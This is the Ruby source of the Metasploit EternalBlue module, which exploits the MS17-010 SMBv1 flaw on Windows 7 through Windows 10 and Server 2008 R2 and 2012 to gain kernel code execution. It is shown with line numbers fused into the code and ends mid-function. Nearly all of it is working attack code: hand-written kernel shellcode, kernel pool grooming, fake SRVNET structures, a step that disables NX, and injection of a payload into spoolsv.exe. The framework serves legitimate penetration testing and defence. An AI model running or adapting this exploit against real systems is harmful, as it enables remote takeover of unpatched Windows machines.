Path: blob/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'ruby_smb'6require 'ruby_smb/smb1/packet'7require 'rubyntlm'8require 'windows_error'910class MetasploitModule < Msf::Exploit::Remote11Rank = AverageRanking1213include Msf::Exploit::Remote::CheckModule14include Msf::Exploit::Deprecated15include Msf::Exploit::Remote::Tcp1617moved_from 'exploit/windows/smb/ms17_010_eternalblue_win8'1819def initialize(info = {})20super(21update_info(22info,23'Name' => 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption',24'Description' => %q{25This module is a port of the Equation Group ETERNALBLUE exploit, part of26the FuzzBunch toolkit released by Shadow Brokers.2728There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size29is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a30DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow31is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later32completed in srvnet!SrvNetWskReceiveComplete.3334This exploit, like the original may not trigger 100% of the time, and should be35run continuously until triggered. It seems like the pool will get hot streaks36and need a cool down period before the shells rain in again.3738The module will attempt to use Anonymous login, by default, to authenticate to perform the39exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use40those instead.4142On some systems, this module may cause system instability and crashes, such as a BSOD or43a reboot. This may be more likely with some payloads.44},4546'Author' => [47# Original Exploit48'Equation Group', # OG research and exploit49'Shadow Brokers', # Hack and dump50'sleepya', # Research and PoC5152# Original win7 module53'Sean Dillon <[email protected]>', # @zerosum0x054'Dylan Davis <[email protected]>', # @jennamagius55'thelightcosine', # RubySMB refactor and Fallback Credential mode5657# Original win8 module58'wvu', # Babby's first external module59'agalway-r7', # External python module to internal ruby module (sorry wvu)60'cdelafuente-r7', # ruby_smb wizard61'cdelafuente-r7', # kernel debugging wizard6263# Combining the two64'agalway-r7' # am good at copy pasta65],66'License' => MSF_LICENSE,67'References' => [68# Win 769['MSB', 'MS17-010'],70['CVE', '2017-0143'],71['CVE', '2017-0144'],72['CVE', '2017-0145'],73['CVE', '2017-0146'],74['CVE', '2017-0147'],75['CVE', '2017-0148'],76['URL', 'https://github.com/RiskSense-Ops/MS17-010'],77['URL', 'https://risksense.com/wp-content/uploads/2018/05/White-Paper_Eternal-Blue.pdf'],7879# Win 880['EDB', '42030'],8182# MITRE ATT&CK83['ATT&CK', Mitre::Attack::Technique::T1059_COMMAND_AND_SCRIPTING_INTERPRETER],84['ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION],85['ATT&CK', Mitre::Attack::Technique::T1210_EXPLOITATION_OF_REMOTE_SERVICES]86],87'DefaultOptions' => {88'CheckModule' => 'auxiliary/scanner/smb/smb_ms17_010',89'EXITFUNC' => 'thread',90'WfsDelay' => 591},92'Privileged' => true,93'Platform' => 'win',94'Arch' => [ARCH_X64],95'Payload' => {96'Space' => 2000, # this can be more, needs to be recalculated97'EncoderType' => Msf::Encoder::Type::Raw,98'DisableNops' => true99},100'Targets' => [101[ 'Automatic Target', {} ],102[103'Windows 7',104{105'os_patterns' => ['Windows 7']106}107],108[109'Windows Embedded Standard 7',110{111'os_patterns' => ['Windows Embedded Standard 7']112}113],114[115'Windows Server 2008 R2',116{117'os_patterns' => ['Windows Server 2008 R2']118}119],120[121'Windows 8',122{123'os_patterns' => ['Windows 8']124}125],126[127'Windows 8.1',128{129'os_patterns' => ['Windows 8.1']130}131],132[133'Windows Server 2012',134{135'os_patterns' => ['Windows Server 2012']136}137],138[139'Windows 10 Pro',140{141'os_patterns' => ['Windows Pro Build']142}143],144[145'Windows 10 Enterprise Evaluation',146{147'os_patterns' => ['Windows 10 Enterprise Evaluation Build']148}149]150],151'DefaultTarget' => 0,152'Notes' => {153'AKA' => ['ETERNALBLUE'],154'Stability' => UNKNOWN_STABILITY,155'Reliability' => UNKNOWN_RELIABILITY,156'SideEffects' => UNKNOWN_SIDE_EFFECTS157},158'DisclosureDate' => '2017-03-14'159)160)161162register_options(163[164Opt::RHOSTS,165Opt::RPORT(445),166OptString.new('SMBUser', [false, '(Optional) The username to authenticate as', ''], fallbacks: ['USERNAME']),167OptString.new('SMBPass', [false, '(Optional) The password for the specified username', ''], fallbacks: ['PASSWORD']),168OptString.new('SMBDomain', [169false,170'(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7,' \171' Windows Embedded Standard 7 target machines.',172''173]),174OptBool.new('VERIFY_TARGET', [175true,176'Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded' \177' Standard 7 target machines.',178true179]),180OptBool.new('VERIFY_ARCH', [181true,182'Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7,' \183' Windows Embedded Standard 7 target machines.',184true185])186]187)188register_advanced_options(189[190OptString.new('ProcessName', [true, 'Process to inject payload into.', 'spoolsv.exe']),191OptInt.new('GroomAllocations', [true, 'Initial number of times to groom the kernel pool.', 12]),192OptInt.new('MaxExploitAttempts', [193true,194'The number of times to retry the exploit. Useful as EternalBlue can sometimes require multiple attempts to' \195' get a successful execution.',1963197]),198OptInt.new('GroomDelta', [199true,200'The amount to increase the groom count by per try. Only affects Windows Server 2008 R2, Windows 7, Windows' \201' Embedded Standard 7 target machines.',2025203])204]205)206end207208def generate_process_hash(process)209[Rex::Text.ror13_hash(process + "\x00")].pack('l<')210end211212# ring3 = user mode encoded payload213# proc_name = process to inject APC into214def make_kernel_user_payload(ring3, proc_name)215proc_hash = generate_process_hash(proc_name)216217sc = (218"\x55\xe8\x2e\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d" \219"\x0d\x34\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a" \220"\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48" \221"\xc1\xea\x20\x0f\x30\x5d\xc3\x48\x8d\x2d\x00\x10\x00\x00\x48" \222"\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8" \223"\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8" \224"\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50" \225"\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48" \226"\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31" \227"\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0" \228"\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa" \229"\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57" \230"\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49" \231"\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d" \232"\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00" \233"\x00\xbf\x78\x7c\xf4\xdb\xe8\x01\x01\x00\x00\x48\x91\xbf\x3f" \234"\x5f\x64\x77\xe8\xfc\x00\x00\x00\x8b\x40\x03\x89\xc3\x3d\x00" \235"\x04\x00\x00\x72\x03\x83\xc0\x10\x48\x8d\x50\x28\x4c\x8d\x04" \236"\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xc6\x00\x00" \237"\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6" \238"\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xbb\x00\x00\x00\x8b\x78" \239"\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xf4\x00\x00\x00\x3d" +240proc_hash + "\x74\x10\x3d" + proc_hash + "\x74\x09\x48\x8b\x0c" \241"\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x84\x00\x00" \242"\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b" \243"\x08\x48\x39\xde\x74\xf7\x4a\x8d\x14\x33\xbf\x3e\x4c\xf8\xce" \244"\xe8\x69\x00\x00\x00\x8b\x40\x03\x48\x83\x7c\x02\xf8\x00\x74" \245"\xde\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xa9\x00\x00\x00" \246"\x55\x6a\x01\x55\x41\x50\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d" \247"\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46" \248"\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xa3" \249"\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89" \250"\x40\x08\xeb\x90\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02" \251"\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84" \252"\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20" \253"\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00" \254"\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c" \255"\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59" \256"\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75" \257"\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b" \258"\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89" \259"\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06" \260"\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65" \261"\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e" \262"\x48\x8d\x35\x6a\x00\x00\x00" \263"\xb9#{[ ring3.length ].pack('s')}\x00\x00" \264"\xf3\xa4\x48\x8b" \265"\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83" \266"\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32" \267"\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff" \268"\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22" \269"\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49" \270"\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20" \271"\xff\xd0\x48\x83\xc4\x30\xc3"272)273sc << ring3274sc275end276277def exploit278check_code = check279280if check_code.code == 'vulnerable'281print_good('The target is vulnerable.')282else283print_bad('The target is not vulnerable.')284end285286if check_code.details[:arch] == ARCH_X86287fail_with(Failure::NoTarget, 'This module only supports x64 (64-bit) targets')288end289290if datastore['ForceExploit'] == 'true' || check_code.code == 'vulnerable'291print_status('Forcing Exploit') if datastore['ForceExploit'] == 'true'292293os = Recog::Nizer.match('smb.native_os', check_code.details[:os])294295if os.nil?296if target.name == 'Automatic Target'297targs = ''298targets[1..-1].each { |t| targs += "#{t.name}\n" }299300msg = "Could not determine victim OS. If the victim OS is one of the below options:\n"\301"#{targs}"\302"\nThen it can be selected manually with 'set TARGET <OS_NAME>'"303fail_with(Failure::NoTarget, msg)304else305os = target.name306end307else308os = os['os.product']309end310311if os.start_with?('Windows 8', 'Windows 10', 'Windows Server 2012', 'Windows 2012')312extend(EternalBlueWin8)313else314extend(EternalBlueWin7)315end316317exploit_eb318end319end320end321322module EternalBlueWin8323MAX_SHELLCODE_SIZE = 3712324325# debug mode affects HAL heap. The 0xffffffffffd04000 address should be useable no matter what debug mode is.326# The 0xffffffffffd00000 address should be useable when debug mode is not enabled327# The 0xffffffffffd01000 address should be useable when debug mode is enabled328TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode329330# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000331NTFEA_SIZE = 0x9000332333NTLM_FLAGS = Net::NTLM::FLAGS[:KEY56] +334Net::NTLM::FLAGS[:KEY128] +335Net::NTLM::FLAGS[:TARGET_INFO] +336Net::NTLM::FLAGS[:NTLM2_KEY] +337Net::NTLM::FLAGS[:NTLM] +338Net::NTLM::FLAGS[:REQUEST_TARGET] +339Net::NTLM::FLAGS[:UNICODE]340341NTFEA_9000 = (([0, 0, 0].pack('CCS<') + "\x00") * 0x260 + # with these fea, ntfea size is 0x1c80342[0, 0, 0x735c].pack('CCS<') + "\x00" * 0x735d + # 0x8fe8 - 0x1c80 - 0xc = 0x735c343[0, 0, 0x8147].pack('CCS<') + "\x00" * 0x8148) # overflow to SRVNET_BUFFER_HDR344345NTLM_CRYPT = Rex::Proto::NTLM::Crypt346347# fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()348# x64: fake struct is at ffffffff ffd00e00349# offset 0x50: KSPIN_LOCK350# offset 0x58: LIST_ENTRY must be valid address. cannot be NULL.351# offset 0x110: array of pointer to function352# offset 0x13c: set to 3 (DWORD) for invoking ptr to function353# some useful offset354# offset 0x120: arg1 when invoking ptr to function355# offset 0x128: arg2 when invoking ptr to function356#357# code path to get code exception after this struct is controlled358# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr359def fake_recv_struct360struct = "\x00" * 80361struct << [0, TARGET_HAL_HEAP_ADDR + 0x58].pack('QQ<')362struct << [TARGET_HAL_HEAP_ADDR + 0x58, 0].pack('QQ<') # offset 0x60363struct << ("\x00" * 16) * 10364struct << [TARGET_HAL_HEAP_ADDR + 0x170, 0].pack('QQ<') # offset 0x110: fn_ptr array365struct << [(0x8150 ^ 0xffffffffffffffff) + 1, 0].pack('QQ<') # set arg1 to -0x8150366struct << [0, 0, 3].pack('QII<') # offset 0x130367struct << ("\x00" * 16) * 3368struct << [0, TARGET_HAL_HEAP_ADDR + 0x180].pack('QQ<') # shellcode address369struct370end371372def custom_smb_client373sock = Rex::Socket::Tcp.create(374'PeerHost' => rhost,375'PeerPort' => rport,376'Proxies' => proxies,377'Context' => {378'Msf' => framework,379'MsfExploit' => self380}381)382383dispatcher = RubySMB::Dispatcher::Socket.new(sock)384385client = CustomSessionSetupPacketRubySMBClient.new(dispatcher, smb1: true, smb2: false, smb3: false,386username: smb_user, domain: smb_domain, password: smb_pass,387ntlm_flags: NTLM_FLAGS)388389return client, sock390end391392def smb1_connect_ipc(negotiate_only: false, session_setup_packet: nil, session_setup_auth_packet: nil)393begin394client, sock = custom_smb_client395396if negotiate_only397client.negotiate398return client, nil, sock399else400response_code = client.login(ntlm_flags: NTLM_FLAGS,401session_setup_packet: session_setup_packet,402session_setup_auth_packet: session_setup_auth_packet)403404unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS405raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code}"406end407408tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")409end410411return client, tree, sock412rescue StandardError => e413print_error("Could not make SMBv1 connection. #{e.class} error raised with message '#{e.message}'")414elog('Could not make SMBv1 connection', error: e)415416# for an as of yet undetermined reason, a connection can sometimes be created after an error during an anonymous417# login.418if client419client.disconnect!420end421422raise e423end424end425426def send_trans2_second(conn, tid, pid, data, displacement)427pkt = RubySMB::SMB1::Packet::Trans2::RequestSecondary.new428pkt.smb_header.tid = tid429pkt.smb_header.pid_low = pid430431pkt.parameter_block.total_parameter_count = 0432pkt.parameter_block.total_data_count = data.length433434fixed_offset = 32 + 3 + 18435pkt.data_block.pad1 = ''436437pkt.parameter_block.parameter_count = 0438pkt.parameter_block.parameter_offset = 0439440if !data.empty?441pad_len = (4 - fixed_offset % 4) % 4442443if pad_len == 0444pkt.data_block.pad1 = ''445elsif pad_len == 3446pkt.data_block.pad1 = "\x00" * 2447pkt.data_block.pad1 = "\x00"448else449pkt.data_block.pad1 = "\x00" * pad_len450end451else452pkt.data_block.pad1 = ''453pad_len = 0454end455456pkt.parameter_block.data_count = data.length457pkt.parameter_block.data_offset = fixed_offset + pad_len458pkt.parameter_block.data_displacement = displacement459460pkt.data_block.trans2_parameters = ''461pkt.data_block.trans2_data = data462463pkt.smb_header.flags2.extended_security = 1464pkt.smb_header.flags2.paging_io = 0465pkt.smb_header.flags2.unicode = 0466467pkt.smb_header.uid = BinData::Bit16le.read(BinData::Bit16.new(2048).to_binary_s)468469conn.send_packet(pkt)470end471472# connect to target and send a large nbss size with data 0x80 bytes473# this method is for allocating big nonpaged pool on target474def create_connection_with_big_smb_first_80(for_nx: false)475sock = connect(false)476pkt = "\x00".b + "\x00".b + [0x8100].pack('S>')477# There is no need to be SMB2 because we want the target free the corrupted buffer.478# Also this is invalid SMB2 message.479# I believe NSA exploit use SMB2 for hiding alert from IDS480# pkt += '\xfeSMB' # smb2481# it can be anything even it is invalid482pkt += "\x01\x02\x03\x04"483484if for_nx485# MUST set no delay because 1 byte MUST be sent immediately486sock.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)487pkt += "\x00" * 0x7b # another byte will be sent later to disabling NX488else489pkt += "\x00" * 0x7c490end491492sock.send(pkt, 0)493sock494end495496def send_big_trans2(conn, tid, pid, setup, data, param)497first_data_fragment_size = data.length % 4096498499pkt = RubySMB::SMB1::Packet::NtTrans::Request.new500pkt.smb_header.tid = tid501502pkt.smb_header.pid_low = pid503504command = [setup].pack('S<')505506pkt.parameter_block.max_setup_count = 1507pkt.parameter_block.max_parameter_count = param.length508pkt.parameter_block.max_data_count = 0509510pkt.parameter_block.setup << 0x0000511pkt.parameter_block.total_parameter_count = param.length512pkt.parameter_block.total_data_count = data.length513514fixed_offset = 32 + 3 + 38 + command.length515if !param.empty?516pad_len = (4 - fixed_offset % 4) % 4517pad_bytes = "\x00" * pad_len518pkt.data_block.pad1 = pad_bytes519else520pkt.data_block.pad1 = ''521pad_len = 0522end523524pkt.parameter_block.parameter_count = param.length525pkt.parameter_block.parameter_offset = fixed_offset + pad_len526527if !data.empty?528pad_len = (4 - (fixed_offset + pad_len + param.length) % 4) % 4529pkt.data_block.pad2 = "\x00" * pad_len530else531pkt.data_block.pad2 = ''532pad_len = 0533end534535pkt.parameter_block.data_count = first_data_fragment_size536pkt.parameter_block.data_offset = pkt.parameter_block.parameter_offset + param.length + pad_len537538pkt.data_block.trans2_parameters = param539pkt.data_block.trans2_data = data.first(first_data_fragment_size)540541pkt.smb_header.flags2.paging_io = 0542pkt.smb_header.flags2.extended_security = 1543544begin545recv_pkt = RubySMB::SMB1::Packet::NtTrans::Response.read(conn.send_recv(pkt))546rescue RubySMB::Error::CommunicationError => e547print_status('CommunicationError encountered. Have you set SMBUser/SMBPass?')548raise e549end550551if recv_pkt.status_code.value == 0552print_good('got good NT Trans response')553else554print_error("got bad NT Trans response: #{recv_pkt.status_code.name}\n#{recv_pkt.status_code.description}")555return nil556end557558# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data559size_of_data_to_be_sent = first_data_fragment_size560while size_of_data_to_be_sent < data.length561send_size = [4096, data.length - size_of_data_to_be_sent].min562if data.length - size_of_data_to_be_sent <= 4096563break564end565566send_trans2_second(conn, tid, pid, data[size_of_data_to_be_sent...(size_of_data_to_be_sent + send_size)],567size_of_data_to_be_sent)568size_of_data_to_be_sent += send_size569end570571size_of_data_to_be_sent572end573574def _exploit(fea_list, shellcode, num_groom_conn, username, password)575session_setup_packet = default_session_setup_request576session_setup_auth_packet = default_session_setup_request577578conn, tree, sock = smb1_connect_ipc(session_setup_packet: session_setup_packet,579session_setup_auth_packet: session_setup_auth_packet)580581pid = conn.pid582os = conn.peer_native_os583print_status("Target OS: #{os}")584585if os.start_with?('Windows 10')586build = os.split.last.to_i587if build >= 14393 # version 1607588print_status('This exploit does not support this build')589return590end591elsif !(os.start_with?('Windows 8') || os.start_with?('Windows Server 2012'))592print_status('This exploit does not support this target:')593return594end595596# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.597# Send TRANS2_OPEN2 (0) with special fea_list to a target exce598progress = send_big_trans2(conn, tree.id, pid, 0, fea_list, "\x00" * 30)599if progress.nil?600conn.disconnect!601return602end603604fea_list_nx = generate_fea_list_nx605606session_setup_packet = default_session_setup_request607session_setup_packet.parameter_block.vc_number = 1608609session_setup_auth_packet = default_session_setup_request610session_setup_auth_packet.parameter_block.max_mpx_count = 2611session_setup_auth_packet.parameter_block.vc_number = 1612613nx_conn, nx_tree, nx_sock = smb1_connect_ipc(session_setup_packet: session_setup_packet,614session_setup_auth_packet: session_setup_auth_packet)615616# Another TRANS2_OPEN2 (0) with special fea_list for disabling NX617nx_progress = send_big_trans2(nx_conn, nx_tree.id, pid, 0, fea_list_nx, "\x00" * 30)618if nx_progress.nil?619conn.disconnect!620nx_conn.disconnect!621return622end623624# create some big buffer at servereternal625# this buffer MUST NOT be big enough for overflown buffer626alloc_conn, alloc_sock = create_session_alloc_non_paged(NTFEA_SIZE - 0x2010, username, password, pid)627if alloc_conn.nil?628return629end630631# groom nonpaged pool632# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one633srvnet_conn = []634num_groom_conn.times { srvnet_conn.append(create_connection_with_big_smb_first_80(for_nx: true)) }635636# create buffer size NTFEA_SIZE at server637# this buffer will be replaced by overflown buffer638hole_conn, hole_sock = create_session_alloc_non_paged(NTFEA_SIZE - 0x10, username, password, pid)639if hole_conn.nil?640return641end642643# disconnect allocConn to free buffer644# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer645alloc_sock.close646647# hope one of srvnet_conn is next to holeConn6485.times { srvnet_conn.append(create_connection_with_big_smb_first_80(for_nx: true)) }649650# remove holeConn to create hole for fea buffer651hole_sock.close652653# send last fragment to create buffer in hole and OOB write one of srvnet_conn struct header654# first trigger, overwrite srvnet buffer struct for disabling NX655send_trans2_second(nx_conn, nx_tree.id, pid, fea_list_nx[nx_progress, fea_list_nx.length], nx_progress)656657recv_pkt = RubySMB::SMB1::Packet::Trans2::Response.read(nx_conn.recv_packet)658if recv_pkt.status_code.value == 0xc000000d659print_good('good response status for nx: INVALID_PARAMETER')660else661print_error("bad response status for nx: #{recv_pkt.status_code.value}")662end663664# one of srvnet_conn struct header should be modified665# send '\x00' to disable nx666srvnet_conn.each { |sk| sk.send("\x00", 0) }667668# send last fragment to create buffer in hole and OOB write one of srvnet_conn struct header669# second trigger, place fake struct and shellcode670send_trans2_second(conn, tree.id, pid, fea_list[progress, fea_list.length], progress)671recv_pkt = RubySMB::SMB1::Packet::Trans2::Response.read(conn.recv_packet)672if recv_pkt.status_code.value == 0xc000000d673print_good('good response status for nx: INVALID_PARAMETER')674else675print_error("bad response status for nx: #{recv_pkt.status_code.value}")676end677678# one of srvnet_conn struct header should be modified679# a corrupted buffer will write recv data in designed memory address680srvnet_conn.each { |sk| sk.send(fake_recv_struct + shellcode, 0) }681682# execute shellcode, at this point the shellcode should be located at ffffffff`ffd04180683srvnet_conn.each(&:close)684685nx_tree.disconnect!686nx_conn.disconnect!687688tree.disconnect!689conn.disconnect!690end691692def create_fea_list(sc_size)693fea_list = [0x10000].pack('I<')694fea_list += NTFEA_9000695fake_srv_net_buf = create_fake_srv_net_buffer(sc_size)696fea_list += [0, 0, fake_srv_net_buf.length - 1].pack('CCS<') + fake_srv_net_buf # -1 because first '\x00' is for name697# stop copying by invalid flag (can be any value except 0 and 0x80)698fea_list += [0x12, 0x34, 0x5678].pack('CCS<')699return fea_list700end701702def create_fake_srv_net_buffer(sc_size)703# 0x180 is size of fakeSrvNetBufferX64704total_recv_size = 0x80 + 0x180 + sc_size705fake_srv_net_buffer_x64 = "\x00" * 16706fake_srv_net_buffer_x64 += [0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR].pack('SSIQ<') # flag, _, _, pNetRawBuffer707fake_srv_net_buffer_x64 += [0, 0x82e8, 0].pack('QII<') # _, thisNonPagedPoolSize, _708fake_srv_net_buffer_x64 += "\x00" * 16709fake_srv_net_buffer_x64 += [0, total_recv_size].pack('QQ<') # offset 0x40710fake_srv_net_buffer_x64 += [TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR].pack('Q<Q<') # pmdl2, pointer to fake struct711fake_srv_net_buffer_x64 += [0, 0].pack('QQ<')712fake_srv_net_buffer_x64 += "\x00" * 16713fake_srv_net_buffer_x64 += "\x00" * 16714fake_srv_net_buffer_x64 += [0, 0x60, 0x1004, 0].pack('QSSI<') # MDL.Next, MDL.Size, MDL.MdlFlags715fake_srv_net_buffer_x64 += [0, TARGET_HAL_HEAP_ADDR - 0x80].pack('QQ<') # MDL.Process, MDL.MappedSystemVa716717return fake_srv_net_buffer_x64718end719720def exploit_eb721num_groom_conn = datastore['GroomAllocations'].to_i722smbuser = datastore['SMBUser'].present? ? datastore['SMBUser'] : ''723smbpass = datastore['SMBPass'].present? ? datastore['SMBPass'] : ''724725sc = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])726727if sc.length > MAX_SHELLCODE_SIZE728print_error("Shellcode too long. The place that this exploit put a shellcode is limited to #{MAX_SHELLCODE_SIZE} bytes.")729return730end731732fea_list = create_fea_list(sc.length)733734print_status("shellcode size: #{sc.length}")735print_status("numGroomConn: #{num_groom_conn}")736737begin738_exploit(fea_list, sc, num_groom_conn, smbuser, smbpass)739rescue StandardError => e740print_error("Exploit failed with the following error: #{e.message}")741elog('Error encountered with eternalblue_win8', error: e)742return false743end744end745746def create_session_alloc_non_paged(size, username, password, pid)747# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16748sess_pkt = SessionSetupSMB1RequestWithPoorlyFormedDataBlock.new749750anon_conn, _anon_tree, anon_sock = smb1_connect_ipc(negotiate_only: true)751752sess_pkt.smb_header.pid_low = pid753754if size >= 65535 # 0xffff755sess_pkt.data_block.security_blob = [(size / 2).floor].pack('S<') + "\x00" * 20756sess_pkt.smb_header.flags2.unicode = 0757else758sess_pkt.data_block.security_blob = [size].pack('S<') + "\x00" * 20759sess_pkt.smb_header.flags2.unicode = 1760end761762sess_pkt.smb_header.flags2.extended_security = 0763sess_pkt.smb_header.flags2.nt_status = 1764sess_pkt.smb_header.flags2.paging_io = 0765766sess_pkt.parameter_block.max_buffer_size = 61440 # can be any value greater than response size767sess_pkt.parameter_block.max_mpx_count = 2 # can by any value768sess_pkt.parameter_block.vc_number = 2 # any non-zero769sess_pkt.parameter_block.session_key = 0770sess_pkt.parameter_block.security_blob_length = 0 # this is OEMPasswordLen field in another format. 0 for NULL session771772sess_pkt.parameter_block.capabilities.each_pair do |k|773if k == :nt_status || k == :extended_security774sess_pkt.parameter_block.capabilities[k] = 1775else776sess_pkt.parameter_block.capabilities[k] = 0777end778end779780recv_pkt = RubySMB::SMB1::Packet::SessionSetupResponse.read(anon_conn.send_recv(sess_pkt))781782if recv_pkt.status_code.value == 0783print_good('SMB1 session setup allocate nonpaged pool success')784return anon_conn, anon_sock785end786787anon_conn.disconnect!788789unless username.empty?790# Try login with valid user because anonymous user might get access denied on Windows Server 2012791# Note: If target allows only NTLMv2 authentication, the login will always fail.792# support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)793req_size = (size / 2).floor794795neg_pkt = RubySMB::SMB1::Packet::NegotiateRequest.new796neg_pkt.smb_header.flags2.extended_security = 0797neg_pkt.add_dialect('NT LM 0.12')798799client, sock = custom_smb_client800801raw_response = client.send_recv(neg_pkt)802response_packet = client.negotiate_response(raw_response)803804# parse_negotiate_response805client.smb1 = true806client.smb2 = false807client.smb3 = false808client.signing_required = response_packet.parameter_block.security_mode.security_signatures_required == 1809client.dialect = response_packet.negotiated_dialect.to_s810client.server_max_buffer_size = response_packet.parameter_block.max_buffer_size - 260811client.negotiated_smb_version = 1812client.session_encrypt_data = false813client.server_guid = response_packet.data_block[:server_guid]814815server_challenge = response_packet.data_block.challenge816817sess_pkt.smb_header.pid_low = pid818sess_pkt.smb_header.flags2.unicode = 0819820pwd_unicode = NTLM_CRYPT.ntlm_md4(password, server_challenge)821822sess_pkt.parameter_block.reserved = pwd_unicode.length823sess_pkt.data_block.security_blob = [req_size + pwd_unicode.length + username.length].pack('S<') + pwd_unicode + username + ("\x00" * 16)824825recv_pkt = RubySMB::SMB1::Packet::SessionSetupResponse.read(client.send_recv(sess_pkt))826827if recv_pkt.status_code.value == 0828print_good('SMB1 session setup allocate nonpaged pool success')829return client, sock830end831client.disconnect!832end833834print_error("SMB1 session setup allocate nonpaged pool failed: #{recv_pkt.status_code.name}\n#{recv_pkt.status_code.description}")835return nil836end837838def generate_fea_list_nx839# fea_list for disabling NX is possible because we just want to change only MDL.MappedSystemVa840# PTE of 0xffffffffffd00000 is at 0xfffff6ffffffe800841# NX bit is at PTE_ADDR+7842# MappedSystemVa = PTE_ADDR+7 - 0x7f843shellcode_page_addr = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000844pte_addr = 0xfffff6ffffffe800 + 8 * ((shellcode_page_addr - 